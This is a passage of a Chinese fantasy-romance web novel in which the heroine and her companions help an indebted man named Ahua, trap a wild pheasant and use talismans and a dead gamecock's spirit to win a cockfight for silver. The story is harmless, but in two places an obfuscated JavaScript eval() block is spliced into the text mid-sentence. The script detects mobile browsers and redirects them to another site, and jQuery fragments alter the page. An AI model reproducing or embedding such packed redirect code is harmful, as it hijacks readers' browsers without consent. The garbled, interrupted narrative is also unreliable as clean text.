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陈渊龙冷着脸瞟了一眼差点摔跤的男人,目光落到了乔天璇的身上。 乔天璇松了一口气。 在仙落岛上住久了,她差点忘了仙落岛外面的男人有不少都喜欢对陌生女子揩油。 陈渊龙快步来到了乔天璇跟前,他的目光落到了乔天璇刚刚被那个男人握过的手掌上,忽地猛一转头,满眼杀气地望向了男人这会儿已经跑远了的背影。 若是眼神能够杀人,乔天璇估计此刻的陈渊龙已经把那个男人给碎尸万段了。 祝源从他所站的高地下了来,一路小跑到了花蕊身旁。 花蕊已经站起了身,她满脸无奈,居高临下地看着河岸边还在昏迷中的阿华。 “阿蕊,你的手没事吧?打人没有把手给打疼吧?”祝源心疼地捧起了花蕊方才用来打阿华的手,对着花蕊的手轻轻吹了吹气,仿佛是想要把他觉得疼的感觉给全部吹走。 “没事没事,我的拳头可是铁做的。”花蕊无所谓地挥了挥她的另一只手,信心满满。 不多时,人群彻底散去,只剩下乔天璇一行人和昏倒在河岸边的阿华。 “我们把阿华带回青竹街十二号吧,那里是他的家。”乔天璇望向了河岸边昏迷着的阿华。 洛侠道:“好。” “嗯。”陈渊龙点了点头。 花蕊道:“怎么带他走?谁背他啊?” 祝源道:“我背上背着箱笼,没有空余的地方来背人了。” 洛侠看向了陈渊龙,道:“我们一人搀着阿华的一条胳膊,一起带他回家吧?” “……” 陈渊龙的目光在洛侠和阿华的身上来回看了一下,似是想答应,却又不知碍于什么,愣是没把答应的话给说出口来。 乔天璇轻轻一笑,道:“太子殿下,劳烦你了。要不然我就得跟我的师父一人搀着阿华的一条胳膊,一起把他带回家了。” 闻言,陈渊龙许是想到了乔天璇和洛侠齐心协力一起办事,而自己则在一旁插不上手的画面,顿时醋意横生,当即道:“不用,我来。” 21. 斗鸡逗人(二) 陈渊龙主动走向了河岸边昏迷的阿华,弯下腰将阿华的一条胳膊搀起。 洛侠立马上前去帮忙。 片刻后,陈渊龙和洛侠一人搀着阿华的一条胳膊往青竹街走了去。 乔天璇和花蕊走在后面,祝源则跟在花蕊身旁。 看着阿华被两人搀着,鞋子拖着地面的背影,乔天璇心中不禁好奇阿华到底欠了多少钱才会让追债的人踏破他家的门。 不多时,乔天璇一行人便带着阿华来到了青竹街十二号。 只见眼前屋子的大门闭得很是勉强,整扇门都被人给踹变了形,而且痕迹十分新鲜,看样子不久前才被人践踏过。 洛侠伸手去叩了叩门,过了好一会儿都不见有人来开门。 乔天璇从后面走了上来,一脚踹开了变形的大门。 “我们进去吧。敲了这么久的门,屋子里估计没人在。”乔天璇步入屋内,回头看了一眼洛侠。 洛侠无奈地看着乔天璇,宠溺的笑意微微泛起。 他转头对其余人道:“走吧。” 陈渊龙冷着脸跟洛侠一起搀着阿华走进了屋内。 花蕊和祝源边走进屋内边四处张望。看着屋内的一切,两人忍不住感叹:“好空!” 的确,阿华的家用“家徒四壁”来形容再合适不过。 “家当什么的估计都被阿华的债主给搬走抵债了,只不过光是那些家当可能还不够拿来抵全部的债。”乔天璇见屋内的一处角落铺着一张简陋的草席,心觉这应该就是阿华在被债主搬空家当后睡觉的地方了,便指着草席道:“师父,劳烦你和太子殿下把阿华搬到这里来躺着吧,他家看起来也就只有这一个地方可以勉强睡人了。” “行。”洛侠连忙和陈渊龙一起把阿华搀到草席上让他平躺了下来。 见阿华就这么静静地躺在屋中角落处简陋的草席上,再加上整个屋子空空荡荡的,花蕊不禁感叹:“好惨,好落魄。这个阿华还玩斗鸡,我看他应当是沉迷于斗鸡才会把钱给一次次输掉的。” 祝源走到了屋子的其中一个窗口前,打算开窗通通风。他伸手把窗户往外一推,顿时一愣,惊道:“屋后面的院子里有两个坟!” “坟?”乔天璇好奇地跑到了窗边,果真见到了祝源所说的那两个坟。 “慈母……严父?”祝源看清楚了两个坟前的两块碑上所写的东西,喃喃道:“原来是阿华爹娘的坟,怪不得这屋子看起来就像是只有一个人住的。也难怪刚刚没人来给我们开门,这个家现在就只剩下阿华一个人了。” “……好可怜的人啊。”花蕊低头看着躺在草席上的阿华,轻轻踢了踢阿华的脚。 阿华虽说是被陈渊龙和洛侠一路搀着回来的,但陈渊龙在路途中对洛侠愈发看不顺眼,却又碍于洛侠是乔天璇的师父,他不好将自己对洛侠的不待见表现出来,怕因此让乔天璇对自己更加疏远了。他在与洛侠一起搀着阿华回家时,总是会时不时暗自故意比洛侠走路的步子快一些,好让洛侠稍微不注意就会落后他一步或半步,令洛侠不得不赶紧跟上他走路的速度。 如此一来,阿华的身子一路上时不时就得遭受一番拉扯,简直是被两人给一路折腾着回到家里来的。之后在乔天璇的指挥下,阿华又被这两个折腾了他一路才回到家的人互相不配合地放倒在了草席上。现在再经花蕊踢了那么两脚,他迷迷糊糊睁开了眼,只觉得浑身上下哪儿哪儿都不舒服,有的地方甚至一碰就疼。 “哎?你醒啦?”花蕊弯腰凑近了阿华。 阿华双眼朦胧地与花蕊对视,疑惑道:“你是……谁?发生什么事了?” 花蕊道:“我乃三侠行客之一,玉心。你刚刚闹着要跳河自尽,我无论怎么劝你,你都不听。我就只好把你给打晕了。对了,是他们两个把你给送回家的。” 说完,花蕊抬手指向了陈渊龙和洛侠。 阿华缓缓坐起了身,愣愣地看着陈渊龙和洛侠。 “好点了吗?”乔天璇离开窗户,走向已经醒来了的阿华。 阿华见家里突然一下子来了这么多人,其中一个是为了不让自己跳河自尽便打晕了自己的少女,还有两个是将晕倒的自己送回了家的男子,他脸上的表情逐渐由呆愣转变为痛苦。紧接着,他把自己壮硕的身躯缩成一团,双手捂脸,难过道:“呜呜呜呜我怎么连想死都那么难啊……” 乔天璇蹲到了阿华身前,淡淡道:“阿华,既然你还活着,那就说明你命不该绝。讲一下吧,你到底欠了谁的钱?欠了多少钱?我看看我们能不能想办法给你提供一点帮助。还有,你干什么不好,为何偏偏要跟雷家大公子斗鸡啊?” “真的能给我提供帮助吗?!”阿华当即放下了捂脸的双手,满眼期待地望着眼前的乔天璇。 乔天璇道:“你先回答我刚刚问你的问题,要不然我们对你的情况一无所知,又该如何想办法帮你?” “我说!我说!”阿华连忙点头。 花蕊赶紧凑到了乔天璇身旁,和乔天璇一起蹲了下来听阿华说话。 据阿华所诉,他的母亲因病早逝,他的父亲喜欢赌钱,在酒商范誉才那儿欠下了五十五两银子。有一天吃饭的时候他父亲因赌钱之事跟他吵架,父亲边吃边吵,大概是听到自己的儿子说了什么戳他心窝子的话,气急攻心,刚想反驳,但嘴里还在往下咽着食物,结果就被活生生呛死了。 父亲一死,追债的人便追到了其子阿华的身上。家里就剩下阿华一个人,没人帮他,债主又催得紧。还债的时间一到,实在是拖欠不了了,债主就带着一帮子人踏破了阿华的家门,把阿华的家洗劫一空,用阿华的家当来抵一部分的债。 当然,剩下的债还是要还,但余下的期限只有三日,要不然连阿华爹娘的坟都得被债主给刨了。 阿华实在是没办法了。为了能赶紧凑齐钱还债,这才去跟雷家大公子斗鸡,赌一把,赢了有钱,输了裸奔。 乔天璇道:“可你没赌赢,输了。所以我们就看到了后来发生的事情,你被迫不穿衣服沿着大街跑,跑完之后你觉得自己脸面丢尽,不愿再活着,就想着跳河自尽。” “是啊,丢死人了。”阿华不由得又用双手捂住了自己的脸。 “家门被债主踏破,家当被债主洗劫一空,这事儿传得此地人尽皆知,脸早就已经被丢尽了,还有什么脸可丢的呢?”乔天璇一把拉下阿华捂脸的一只手,看着他露出来的其中一只眼睛,认真道:“规矩是不是任何一个跟雷家大公子斗鸡的人斗赢了,他就得给跟他斗鸡的人一笔钱。若是斗输了,跟他斗鸡的人就得裸奔?” “对。”阿华连连点头,眼中对此事充满了惊惧之色。 乔天璇道:“好说,把鸡给我,我来想办法用你的鸡斗赢雷家大公子的鸡,斗鸡所赢的钱用来还完你的债后剩下的归我。” “可是……我的鸡、我的鸡已经被雷家大公子的鸡给斗死了呜呜呜呜……”阿华忍不住落泪,壮硕的身躯颤抖不止。 “死了啊?”乔天璇神色一顿。 花蕊急切道:“那还有哪里有鸡?” 阿华道:“附近的山上都有山鸡。可是要成为斗鸡得需要培养才行,普通的鸡根本就斗不赢雷家大公子那只厉害的斗鸡啊!” 乔天璇道:“这个我自有办法,咱们先不管普通的鸡还是需要培养的斗鸡,我问你,你熟悉这里的山吗?” 阿华道:“熟悉。” 乔天璇道:“那就好办了,你给我们带路,带我们去山鸡最多最容易捉的山。” “这……”阿华似乎有些犹豫。 “怎么?你不想赶紧凑齐钱还债?你想被债主刨你爹娘的坟?”乔天璇越说越凑近阿华的脸,句句紧逼。 “我……想!不想!我、我带!我给你们带路!”阿华慌忙答应。 “好,请。”乔天璇站了起来,侧身对阿华做了一个请他带路的手势。 阿华也赶紧站起了身,连连点头,转身就朝门口走去。 回到青竹街上后,阿华小心翼翼道:“我用来捉山鸡的东西都被债主给拿走了,我们可能要徒手捉了。” “没事儿。”乔天璇满不在乎道:“不就是捉只山鸡嘛,办法我有的是。” 花蕊附和道:“就是就是,你可别小看了我们!” 阿华不知是无奈还是尴尬地笑了笑。 “你这是什么表情?看不起我们啊?”花蕊猛地拍了一下阿华的肩膀。 “啊嗷!我没、没有没有没有没有!我哪儿敢啊!”阿华呲牙咧嘴,赶忙揉了揉自己被花蕊拍过的肩膀。 “好了,等会儿的事情等会儿再说,指不定等会儿捉山鸡时我们还需要阿华的帮忙呢。”乔天璇对花蕊使了一个眼色。 “嗯嗯。”花蕊点了点头,一脸乖巧地闭了嘴。 一行人跟着阿华,一路回到了方才他要跳河自尽的河边,再沿着河往前走了一刻钟便来到了一座山的山脚下。 然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025596|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而,这山对乔天璇来说不过是个山坡,只是勉强能称其为山。 阿华抬头望山,道:“这座山上的山鸡最多,脑子也傻,比较好捉。” “请。”乔天璇再一次对阿华做了请他带路的手势。 阿华点头,走在了最前面带路上山。 山坡上郁郁葱葱,长了不少很高的树,显得整个山坡都高了。 山路并不算很陡,两旁长着许多挂满了小野果的矮树。 乔天璇见不少鸟雀落在矮树上肆无忌惮地吃野果,心想怪不得阿华说这座山上的山鸡多。 山鸡也喜欢吃野果,这山上有如此多的野果树,山鸡自然而然也朝这里汇聚了。 很快,几人就听到前方传来了山鸡的鸣叫声。 阿华的脚步慢了下来。 乔天璇看他已经注意到了不远处的一只山鸡。 那只山鸡尾羽鲜亮,鸡冠硕大,一看就是只壮硕的大公鸡。 阿华转头对乔天璇道:“你有办法活捉那只山鸡吗?” 乔天璇道:“我先去挖个浅坑。” 阿华道:“你用什么挖?用手吗?” 乔天璇哼笑一声,将身旁洛侠的佩剑惜今从鞘中一把抽出,随即便提剑走向了前方的一处空地,直接用剑开挖。 阿华看得目瞪口呆。 他怎么也想不到居然会有人用剑来挖土坑,而且挖土的动作还如此娴熟。 对此,洛侠并无丝毫不悦的表示。他像是明白乔天璇想要干什么似的,在被乔天璇拔剑之后就二话不说走到了一旁一棵长满了小拇指头大小的红色野果的矮树旁,片刻时间便摘下了不少野果捧在手中。 花蕊和祝源好奇地跑到了洛侠身旁,见洛侠摘了这么多野果,花蕊忍不住从洛侠手中拿起一颗尝了尝,顿时惊喜道:“酸酸甜甜的,好吃!” 祝源从矮树上摘下一颗放入口中嚼了嚼,双眼都睁大不少,欢喜道:“真的好吃!怪不得鸟儿都爱吃!拿来给山鸡当诱饵再好不过了!” 惜今削铁如泥,更别说用它来挖泥了,简直就是轻而易举的事情。乔天璇用惜今挖土的动作很快。此时,她已经挖好了一个不大的浅坑。 乔天璇抖了抖剑身上沾的泥,瞅了一眼阿华,道:“阿华,帮我捡些长点粗点的树枝来!” “……哦、哦!好!”阿华看着眼前的场面看得呆滞,在听到乔天璇的吩咐之后赶忙回过神来,立马去树底下找她要的树枝。 陈渊龙也不闲着,听到乔天璇说的话后,他开始注意起了四下的地面,看到哪里有又长又粗的树枝便直接捡起。 在拍干净了树枝上的泥土之后,陈渊龙赶在阿华之前抢先把树枝送到了乔天璇的手中。 “多谢……嗯?”乔天璇下意识拿过树枝,拿完了才转头看向朝自己递来几根树枝的人,却见来者不是自己方才吩咐做事的阿华,而是陈渊龙。 不过树枝都已经被自己拿在手中了,当着给自己送东西的人的面把东西扔掉……好像不太好? 再说了,陈渊龙给自己送来的这些树枝都十分不错,足够结实,符合用来当陷阱支架的要求,扔了不用怪可惜的。 乔天璇尴尬地对陈渊龙点了点头,表示赞许。 随后,她把惜今往一旁的一块大石头上一靠,取下背上的黑色斗笠,从怀中掏出一根备用的红色发带,蹲下身子用陈渊龙方才给自己送来的树枝当作支撑斗笠的支架,把发带的一头绑在了支撑着斗笠的树枝上。 洛侠这会儿也已经把用来当诱饵的野果送了过来,放到了被树枝半撑起来的斗笠下面的浅坑和斗笠周围的一圈,并将被乔天璇靠在一旁的大石头上的惜今收回鞘中。 在一切都准备就绪之后才仓促赶来的阿华看到眼前的情况时,他愣在了距离乔天璇一行人十步远的地方,手中的树枝仿佛在这一瞬间成了废物,给乔天璇不是,不给也不是。 乔天璇感觉到了阿华的目光,她抬头对阿华道:“好了,阿华,树枝我现在不需要了。我们先躲起来,一起等鸡掉陷阱吧!” “哦……好、好!”阿华慌忙扔了手中的树枝,失魂落魄地跟着乔天璇一行人躲在了陷阱后面的一块大石头后面。 乔天璇手持绑着陷阱支架树枝的红色发带的另一头,聚精会神地盯着陷阱的情况。 陈渊龙瞥了一眼没能完成乔天璇对他的吩咐的阿华,又看了一眼自己给乔天璇送来当陷阱支架的树枝,眼底泛出了一丝得逞的意味。 22. 斗鸡逗人(三) 不多时,一只羽毛鲜亮的壮硕山鸡就被放在斗笠周围一圈的红色小野果给吸引了过来。 它试探着啄食斗笠周围的野果,见并没有发生什么危险,便在吃完斗笠周围的野果之后开始探头靠近斗笠下面的浅坑中放着的更多野果。 就如阿华所说,这座山上的山鸡脑子傻,只顾着吃,想都不想这些野果为何会在一个浅坑里,而且数量还如此之多。 眼前这只山鸡在探头啄食了浅坑中的几颗野果之后便抬起一只鸡脚跨入了浅坑中。 乔天璇精神高度集中,一直到山鸡整个身子都步入了满是野果的浅坑中埋头啄食时,她忽地拉了一下手中的红色发带,让斗笠失去树枝的支撑,当即严严实实盖住了下面浅坑中的山鸡。 就是现在! 乔天璇从藏身的大石头后面猛地跃出,几步跑到了盖着山鸡的斗笠旁,一脚踩在了斗笠上,让斗笠盖得更严实了。 花蕊紧跟到了乔天璇身旁,兴奋地看着乔天璇脚下的斗笠,道:“到我了!” “嗯!”乔天璇小心翼翼地放下了踩着斗笠的脚。 山鸡当即发力顶起了斗笠,鸡头鸡脖子一个劲儿地往斗笠外伸。 花蕊立马蹲下身子伸手抓住了鸡脖子。而后,乔天璇也蹲下身子掀开斗笠,拎住了山鸡的一对翅膀。 两人齐心擒住了这只挣扎不断的山鸡,一整套动作下来行云流水一气呵成。 山鸡叽咯乱叫,乔天璇的另一只空手从腰间的黑色乾坤袋中取出一张符,毫不犹豫贴到了山鸡背上。 符一贴上,山鸡便停止了挣扎,连尾羽都耷拉了下来。 “不愧是灵师!”花蕊双目中满是“一切尽在预料之中”的眼神。 乔天璇把拎着鸡翅膀的活儿也交给了花蕊,她捡起一旁的斗笠,拍掉了上面的泥土,将其重新背到了背上,道:“这鸡实在是太傻了,不过也好在够傻。” 两人制住山鸡的动作实在是过于快速和流畅,以致于陈渊龙、洛侠、祝源在赶到两人身旁时已经完全没什么能够帮得上的忙的地方了。 洛侠看向了乔天璇背上的斗笠,伸手轻轻抚去了斗笠边缘上一些不起眼的尘土。 那是乔天璇方才简略清理斗笠时没有注意到的地方。 阿华满脸担忧地走到了几人身旁,疑惑道:“接来下该怎么训练这只山鸡成为斗鸡啊?” “不用训练。”乔天璇瞅了一眼被贴上符后蔫了吧唧的山鸡,对阿华道:“我们现在就直接去找雷家大公子斗鸡,越快越好,你带路。” “啊?”阿华一脸不解。 “啊什么啊?你不想赶紧凑齐钱还债?你想被债主刨你爹娘的坟?”乔天璇越说走得离阿华越近,句句紧逼。 “……我、我带路去找雷家大公子。”阿华无奈,只得继续给乔天璇一行人带路。 跟着阿华的脚步,一行人下了山,沿着河流一路返回了青竹街,又走了约莫两刻钟,终于来到了热闹的斗鸡场。 此时,雷家大公子正在与另外一人斗鸡。 那男子的斗鸡虽然壮实,但在雷家大公子的斗鸡面前却仍旧节节败退,直叫男子焦急得满头大汗,双眼发红。 两只斗鸡脖子上的羽毛张开得如同狮子的脖毛,相斗起来互相啄掉对方脖子上的不少羽毛。 羽毛轻,再加上鸡翅膀的拍打,两只斗鸡的上方时不时便因相斗而飘飞起几缕黄黄的鸡毛。 围观的众人欢呼声起伏不断,大多数人在为雷家大公子的斗鸡叫好,小部分人不甘心看到雷家大公子的斗鸡取胜,他们目光紧盯与雷家大公子相斗的斗鸡,不禁为其捏了一把汗。 “咯咯叽!咯咯叽!” 雷家大公子的斗鸡越斗越勇,就如乔天璇预想的那样,它凭着一身腱子肉,气势极强,强攻猛攻,不给与其相斗的斗鸡丝毫喘息的机会,猛啄猛撞,硬生生将其斗死在地。 一瞬间,全场响起一大片欢呼声。 与此同时,雷家大公子的斗鸡被雷家专门服侍斗鸡的人带下了场去休整。被斗死的斗鸡则被那男子从场中抱出。 欢呼声中,雷家大公子对那男子高声道:“你输了,按照说好的规矩,你现在立马脱光了去街上跑一圈!” 男子这会儿正颤抖着双手抱着他那只被斗死的鸡,通红的眼眶中泪水在不停地打着转。 方才为雷家大公子叫好的人们冲着他齐声呼喊道:“裸奔!裸奔!裸奔!裸奔!裸奔!裸奔!” 没办法,毕竟是在斗鸡之前就说好的规矩,而且眼前取胜的人是世家大公子,男子只得放下怀中死去的斗鸡,默默褪去了衣衫,嘤嘤抽泣羞红着脸跑了出去。 “来!咱们跟上!”雷家大公子对着他身旁的贴身小厮挥了挥手,快步追上裸奔着跑出了斗鸡场的男子。 “是!”贴身小厮一脸兴奋,他就跟乔天璇一行人初见他时那样,手中拿着锣,腰上挎着鼓,与雷家大公子跟在裸奔的那人身后兴高采烈地敲一下锣打一下鼓,不断提醒着街上的各位快来看裸奔之人。 “走!看热闹去!” “快跟上去瞧瞧!” “太有意思了,又有人不穿衣服绕着大街跑圈儿了!” 斗鸡场中围观的人们欢呼着跟了上去,有的人笑得嘴角都要翘上天了。 随着人们越走越远,敲锣打鼓声也逐渐远去。 乔天璇由于见过阿华裸奔时的画面,她不由得望向了阿华。 作为同样因此裸奔过的人,阿华许是触景生情,此刻他的脸上全是惊恐与不安。 乔天璇转头望向了那只被斗死的斗鸡,脑海中忽地灵光一闪。 若是想要赢雷家大公子的斗鸡,那自然是有越多的帮助越好。 她快步走向了死去的斗鸡,从腰间的黑色乾坤袋中取出一张注入了自己灵力的符贴到了斗鸡头上。 乔天璇顿时感知到了刚刚死去的斗鸡灵魂还未离开,此刻正飘浮在自己的尸身之上,便赶紧向其发问,问其是否想要暂借肉身报仇。 斗鸡之灵还沉浸在自己被活活斗死了的不甘与悲痛中,现在一听说有可以报仇的机会,它当即答应,立马飘到被乔天璇贴了符后蔫了吧唧的山鸡身上。 山鸡原本的灵魂被乔天璇的符所压制,整只鸡无精打采,现在斗鸡之灵一上了山鸡的身,山鸡便像是突然还魂了一样,在花蕊的手中精神奕奕地挣扎不休。 “咦?它怎么了?刚刚还一直是耷拉着的啊?”花蕊疑惑地看着手中拎着的山鸡。 乔天璇撕掉了贴在死去的斗鸡头上的符,转身走向了花蕊,道:“它等会儿就能为死去的那只斗鸡报仇了,自然会有些激动。” “哦……原来如此,不过这也太激动了些吧?”花蕊微微皱眉,“呼”一声吹掉一片飘到了她鼻尖上的鸡毛,下意识把手中扑腾不止的山鸡拎得离自己远了一些。 乔天璇走到了山鸡跟前,把方才从死去的斗鸡头上撕下来的符卷成细细的一条,像喂虫子那样喂进了山鸡口中,硬是让山鸡将其吞下了肚。 山鸡登时又蔫巴了下去。 “你这是在干什么?”阿华满脸不解地凑了过来。 花蕊理直气壮地看着阿华,语气理所当然道:“她可是灵师,灵师所干的事自有她的道理,你就不必多嘴了。” “我……这……”阿华看着蔫巴的山鸡,想再问些什,却忽然听见雷家大公子的斗鸡此时在不远处休整的地方长鸣一声。 那鸣叫既洪亮又又绵长,给人一种精气神十足的感觉。 “我们的山鸡真的能赢吗……”阿华不安地望向了鸣叫声传来的方向,壮硕的身躯许是由于过分的担忧,隐隐颤抖着。 乔天璇道:“放心,有我在,不会输的。” 待雷家大公子和他那敲锣打鼓的贴身小厮以及一众看热闹的人跟着裸奔男子回到了斗鸡场后,乔天璇双手叉腰挡在了雷家大公子面前,认真道:“我要和你斗鸡。” 雷家大公子跟了裸奔男子一路,现在一回来就见一个红衣白裙的秀美少女说要跟自己斗鸡,登时两眼发亮,笑道:“哈哈哈哈好啊!好啊!规矩可是我输了我给姑娘钱,而姑娘输了就得……” “不穿衣服上街跑一圈是吧?我知道,赌!”乔天璇信心满满地答应。 “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025597|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” “哇!!!” “天呐!!!” “我没有听错吧?” “她居然真的答应了?!” 众人先是沉默,而后惊呼不止。 雷家大公子上下打量了一番乔天璇,嘴角情不自禁扬起一抹油腻的笑容。 即便雷家大公子相貌生得面如冠玉,一整个潇洒浪荡公子的模样,但这抹油腻的笑容也让他变得猥琐了三分。 洛侠担忧地望向了乔天璇,眼底有一丝惊愕之色。 陈渊龙面无表情地看着雷家大公子,冰冷的目光让雷家大公子莫名哆嗦了一下子。 方才裸奔的男子慌忙穿好衣服,抱着自己死去的斗鸡缩到了角落哭泣。 乔天璇清楚地感觉到自己从这男子的身旁经过时,这男子看自己的眼神中既有期待也有惊讶。 当然,乔天璇想都不用想就知道这男子期待的眼神中包含着什么想法。 都想看我输了之后被迫上街裸奔是吧?哼,恶心的家伙们,我偏不让你们得逞。 很快,大家齐齐围到了斗鸡的场地。 乔天璇从花蕊的手中接过山鸡,雷家大公子也从专门伺候他的斗鸡的人手中接过斗鸡。 比赛开始前,乔天璇定定地看着雷家大公子,严肃道:“雷长公子,若是我赢了,你得给我六十两银子,一文钱都不得少。” 雷家大公子想看乔天璇裸奔想看得紧,想都不想便笑着答应道:“没问题!就这么定了!” 乔天璇道:“君子一言,驷马难追!” 雷家大公子道:“那是自然!不过这位美丽的姑娘也不要食言哦。” “当然不会。”乔天璇浅浅一笑 “好!好!好!好! 众人叫好声一片,期待的目光在乔天璇与雷家大公子身上来回移动。 毫无疑问,无论是雷家大公子输掉六十两银子,还是乔天璇输了之后被迫上街裸奔,都是他们想看的结果。 见雷家大公子的斗鸡已被他投入斗鸡的场地中,乔天璇悄悄一撕山鸡背上的符,将手中的山鸡也投入了斗鸡的场地中。 被撕掉符纸的山鸡立马精神振奋,见对面朝自己冲来的斗鸡一副要把它往死里干的样子,山鸡猛地迎了上去,斗得又快又狠。 乔天璇清楚,这山鸡的体内有两个灵魂,一个是在山上生存的野山鸡,一个是之前已故的经验丰富的斗鸡。 此刻,这两个灵魂的目标一致,战力也翻了倍,一时间与雷家大公子的斗鸡斗得不相上下。 一旁的阿华看得心惊胆战,目光片刻不离两只相斗的鸡。 雷家大公子的斗鸡说到底是只厉害的斗鸡,作战游刃有余,几个回合下来,山鸡虽然看起来斗得猛,但斗鸡却确实逐渐占了上风。 围观的众人紧张无比,眼珠子仿佛都贴到了两只相斗的鸡身上。 见这会儿没人注意自己,乔天璇心念一动,给手中方才从山鸡后背上撕下来的符注入带着杀戮气息的灵力。 霎时间,山鸡体内被乔天璇卷成细细一条的符与乔天璇手中的符相互呼应。山鸡的双目红了一瞬,浑身的羽毛泛起了丝丝红色灵光,如同突然得到了什么不得了的力量一般,朝着斗鸡不畏生死地攻了过去,即便被斗鸡啄得鲜血狂流,即便脖子上的毛几乎被斗鸡拔光。 围观的众人鸦雀无声,雷家大公子更是看得目瞪口呆。 那山鸡就跟不怕疼似的。 可与其相斗的斗鸡还是怕疼的。 见到斗鸡因疼痛而露出的破绽,山鸡毫不放过,趁其反击,令斗鸡连连败退,被山鸡猛地斗倒在地,眼看着就要被山鸡给活活啄死。 “停、停下!我认输!姑娘我认输!停!!!” 雷家大公子心疼地看着他那几乎还差一步之遥就要被山鸡给斗死的斗鸡,慌得差点要直接翻入斗鸡的场地内。 闻言,两只斗鸡即刻被斗鸡场的人强行分开,并定了斗鸡输,山鸡胜。 见状,乔天璇松了一口。 她抬头望向了雷家大公子,伸手道:“雷长公子,你输了。六十两银子,给我吧。” 23. 斗鸡逗人(四) 雷家大公子的脸色苍白无比,他颤抖着双唇对身旁的贴身小厮道:“拿钱给她。” “是。”贴身小厮赶忙转身去给乔天璇拿钱。 乔天璇从斗鸡场的人手中接过山鸡,见山鸡浑身是伤,鲜血淋漓,此时连拎都不用拎了,它已再无什么别的力气,乖乖地窝在乔天璇捧着它的双手中,逐渐平复着呼吸。 围观的众人看着眼前发生的一切,唏嘘不已。 “不是吧?这个姑娘的鸡怎么这么厉害啊?” “难道说山鸡比起家养的斗鸡要厉害很多?” “可之前不也有用山鸡来跟雷家大公子的斗鸡斗的嘛,不都斗输了?” “话说回来这个姑娘的山鸡还是这么久以来第一次赢了雷家大公子的斗鸡的鸡呢。” “是啊,雷家大公子的斗鸡简直战无不胜,没想到今日这场居然输给了一个姑娘手中的山鸡。” 雷家大公子盯着乔天璇手中的山鸡,突然发问:“姑娘,你手里的鸡卖吗?” 乔天璇一愣,随即笑眯眯道:“可以的,雷长公子,这鸡的战力不俗,若是公子能再拿出二十两银子给我,这鸡便归公子所有。” 此话一次,围观的众人再次喧哗起来。 “这就把鸡给卖了?” “会不会太草率了些?” “姑娘居然舍得卖这么厉害的鸡,难不成以后都不打算再玩斗鸡了?” “可是二十两银子卖一只鸡未免卖得太贵了些吧?” “二十两银子若是省着点花,都够我生活好几年了……” “别拿你自己来比较啊,要买鸡的人可是雷家大公子,雷家大公子怎会差钱?” “……” “好!成交!”雷家大公子虽然有一丝犹豫,但最终还是在众人的讨论声中答应了,转头对去拿钱了的贴身小厮道:“再拿二十两银子来!” 贴身小厮赶紧答应:“是!” 不一会儿,双方一手交钱一手交货。乔天璇把手中的山鸡交给了雷家大公子,雷家大公子的贴身小厮把八十两银子递给了乔天璇。 乔天璇收下了这八十两银子,对雷家大公子拱了拱手,道了句“告辞。”便转身离了去。 一直随在乔天璇身后的几人自然也跟着乔天璇一起离了去。 乔天璇再次经过输给了雷家大公子后裸奔完缩在角落的男子时,见男子看自己的眼神中满是羡慕与不可思议。 她又扫视了一圈周围围观的人,见他们眼中多多少少都有些因没能看到自己输了之后被迫上街裸奔而泛起的失望之色。 乔天璇得意地翘起了嘴角,心道:“不好意思啊,我赢了。真是让你们这些恶棍混蛋失望了。” 有人认出了随在乔天璇身后的人中有个阿华,顿时惊道:“阿华?你是想跟着这个姑娘学习如何斗鸡吗?!” 阿华一顿,回头道:“怎会?我只是求姑娘来为我报仇雪恨罢了。现在大仇已报,我从今往后都不会再斗鸡了!” 那人大笑:“哈哈哈哈哈哈我还从来没听说过谁能在赢了一次之后还能戒得了斗鸡瘾的!” 又一人道:“就是就是!阿华,你肯定还会有又来斗鸡场斗鸡的那一日的!” 阿华不屑道:“那你们便自个儿期待着吧,我怕是要叫你们失望了!” 说罢,阿华转回了头,大步跟在了乔天璇的身后。 乔天璇心中暗喜,她斗鸡赢了雷家大公子六十两银子,把其中的五十五两银子拿来给阿华还债,自己就还剩五两银子。但雷家大公子又花了二十两银子买走了自己那只山鸡,那么自己手头上一下子就多了二十五两银子。 只不过那只山鸡经过方才那战之后怕是命不久矣,而且如果没有乔天璇再次用灵力催动手中的符与山鸡腹中的符相互呼应,山鸡根本发挥不了超常战力。再加上斗鸡之灵若是不肯主动离开山鸡的身子,恐怕就要与山鸡的灵魂一直争斗不休了。 不过这就不归乔天璇管了,反正山鸡已经归雷家大公子所有,那么山鸡身上发生的所有事情理应归雷家大公子来管。哪怕山鸡开始啄人了,不听话了,那也是雷家大公子活该。谁让他要买下这只山鸡的? 乔天璇感受着那八十两银子的重量,平静道:“阿华,你到前面带路,我们去你的债主那儿。” “好!”阿华连忙上前带路。 片刻后,乔天璇一行人来到了酒商范誉才的地方。 乔天璇将五十五两银子递给了阿华,道:“我们就此别过,你去还债吧。你家只剩下你一个人了,别再去跳河自尽了。” 花蕊连忙附和道:“对啊对啊,千万不要想不开,好好活着!” “嗯!”阿华点了点头,大步走进了眼前的酒铺子中。 然而,几人才转身离开酒铺子不远,乔天璇就听见身后传来一阵叫骂声。 乔天璇回头,只见一个精瘦男子带着一群手持棍棒的小弟将阿华从酒铺子中打了出来。 祝源道:“怎么回事?阿华不是把五十五两银子的债都还了吗?” 